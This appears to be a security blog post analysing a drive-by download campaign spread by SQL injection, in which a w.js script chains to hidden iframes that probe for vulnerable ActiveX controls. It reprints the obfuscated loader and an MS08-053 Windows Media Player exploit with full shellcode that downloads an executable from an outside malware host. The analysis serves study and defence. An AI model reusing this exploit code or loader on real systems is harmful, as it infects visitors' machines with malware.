www3.ss11qn.cn/csrss/w.js

a new round of sql-injection attacks to inject the malicious link.
The w.js script essentially iframe to new.htm
Content of new.htm as follows:


<script src=”http://s123.cnzz.com/stat.php?id=1055584&web_id=1055584&#8243; language=”JavaScript” charset=”gb2312″></script>
<iframe src=06014.htm width=100 height=0></iframe>
<iframe src=flash.htm width=100 height=0></iframe>
<Iframe src=ff.htm width=100 height=0></iframe>
<Iframe src=ani.htm width=100 height=0></iframe>
<Iframe src=08053.htm width=100 height=0></iframe>
<Iframe src=tr.htm width=100 height=0></iframe>
<script>
var kaspersky=”ffuck”
var L_czcY_1 = new window[“Date”]()
L_czcY_1[“setTime”](L_czcY_1[“getTime”]() + 3*60*60*1000)
var Jy2$2 = new window[“String”](window[“document”][“cookie”])
var sX$bhbGk3 = “Cookie1=”
var zecKZZ4 = Jy2$2[“indexOf”](sX$bhbGk3)
if (zecKZZ4 == -1)
{
window[“document”][“cookie”] = “Cookie1=POPWINDOS;expires=”+ L_czcY_1[“toGMTString”]()
try{if(new window[“ActiveXObject”](“\x47\x4c\x49\x45\x44\x6f\x77\x6e\x2e\x49\x45\x44\x6f\x77\x6e\x2e\x31”))window[“document”][“write”](‘<iframe style=display:none src=”lzx.htm”></iframe>’);}catch(e){}
try{if(new window[“ActiveXObject”](“IERPCtl.IERPCtl.1”))window[“document”][“write”](‘<iframe style=display:none src=”real11.htm”></iframe>’);}catch(e){}
try{if(new window[“ActiveXObject”](“IERPCtl.IERPCtl.1”))window[“document”][“write”](‘<iframe style=display:none src=”real10.htm”></iframe>’);}catch(e){}
try{if(new window[“ActiveXObject”](“NCTAudioFile2.AudioFile2.2”))window[“document”][“write”](‘<iframe style=display:none src=net.htm”></iframe>’);}catch(e){}
try{if(new window[“ActiveXObject”](“DPClient.Vod”))window[“document”][“write”](‘<iframe style=display:none src=xl.htm”></iframe>’);}catch(e){}
try{if(new window[“ActiveXObject”](“MP”+”S.S”+”tor”+”mPl”+”ayer”))window[“document”][“write”](‘<iframe style=display:none src=”Bfyy.htm”></iframe>’);}
catch(e){}
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=1;
}
</script>

It is interesting to note that MS08-053 (WMP9 vulnerability) is exploited in 08053.htm

Content of 08053.htm which looks like a copy and paste with mistakes as follows:

<input language=JavaScript onclick=poc() type=button value=”launch exploit”>

<OBJECT id=”target” classid=”clsid:A8D3AD02-7508-4004-B2E9-AD33F087F43C”>
</OBJECT>

<script>

function poc() {

var shellcode = unescape(
“%u03eb%ueb59%ue805%ufff8%uffff%u4949%u4949%u4949%u4948%u4949” +
“%u4949%u4949%u4949%u4949%u5a51%u436a%u3058%u3142%u4250%u6b41” +
“%u4142%u4253%u4232%u3241%u4141%u4130%u5841%u3850%u4242%u4875” +
“%u6b69%u4d4c%u6338%u7574%u3350%u6730%u4c70%u734b%u5775%u6e4c” +
“%u636b%u454c%u6355%u3348%u5831%u6c6f%u704b%u774f%u6e68%u736b” +
“%u716f%u6530%u6a51%u724b%u4e69%u366b%u4e54%u456b%u4a51%u464e” +
“%u6b51%u4f70%u4c69%u6e6c%u5964%u7350%u5344%u5837%u7a41%u546a” +
“%u334d%u7831%u4842%u7a6b%u7754%u524b%u6674%u3444%u6244%u5955” +
“%u6e75%u416b%u364f%u4544%u6a51%u534b%u4c56%u464b%u726c%u4c6b” +
“%u534b%u376f%u636c%u6a31%u4e4b%u756b%u6c4c%u544b%u4841%u4d6b” +
“%u5159%u514c%u3434%u4a44%u3063%u6f31%u6230%u4e44%u716b%u5450” +
“%u4b70%u6b35%u5070%u4678%u6c6c%u634b%u4470%u4c4c%u444b%u3530” +
“%u6e4c%u6c4d%u614b%u5578%u6a58%u644b%u4e49%u6b6b%u6c30%u5770” +
“%u5770%u4770%u4c70%u704b%u4768%u714c%u444f%u6b71%u3346%u6650” +
“%u4f36%u4c79%u6e38%u4f63%u7130%u306b%u4150%u5878%u6c70%u534a” +
“%u5134%u334f%u4e58%u3978%u6d6e%u465a%u616e%u4b47%u694f%u6377” +
“%u4553%u336a%u726c%u3057%u5069%u626e%u7044%u736f%u4147%u4163” +
“%u504c%u4273%u3159%u5063%u6574%u7035%u546d%u6573%u3362%u306c” +
“%u4163%u7071%u536c%u6653%u314e%u7475%u7038%u7765%u4370″+”%u7468%u7074%u2F3A%u772F%u7777%u702E%u6570%u6578%u632E%u6D6F%u632F%u7273%u7373%u722F%u6E6F%u6C64%u336C%u2E32%u7865%u0065%u00004”);
var buff= “”;
var nsp = unescape(“%u06EB%u9090”);
var sh = unescape(“%u6950%u74C9”);
var nop = unescape(“%u9090%u9090%u9090%u9090%u9090%u9090”);

for (i=0;i<1638;i++)  buff=buff + unescape(“%u4141”);

buff = buff + nsp + sh + nop + shellcode;

target.GetDetailsString(buff,1);
}

</script>
</pre>
</html>

The shellcode which when decoded is as follows:

�Y������IIIIIIHIIIIIIIIIIIQZjCX0B1PBAkBASB2BA2AA0AAXP8BBuHikLM8ctuP30gp
LKsuWLnkcLEUcH31XolKpOwhnksoq0eQjKriNk6TNkEQJNFQkpOiLlndYPsDS7XAzjTM31xBHkzTwK
RtfD4DbUYunkAO6DEQjKSVLKFlrkLKSo7lc1jKNkuLlKTAHkMYQLQ44DJc01o0bDNkqPTpK5kpPxFll
KcpDLLKD05LnMlKaxUXjKdINkk0lpWpWpGpLKphGLqODqkF3Pf6OyL8ncO0qk0PAxXplJS4QO3XN
x9nmZFnaGKOiwcSEj3lrW0iPnbDposGAcALPsBY1cPte5pmTseb3l0cAqplSSfN1ut8pewpChttp://w
ww.ppexe.com/csrss/rondll32.exe

Note the URL to malware embedded in the shellcode.

Leave a comment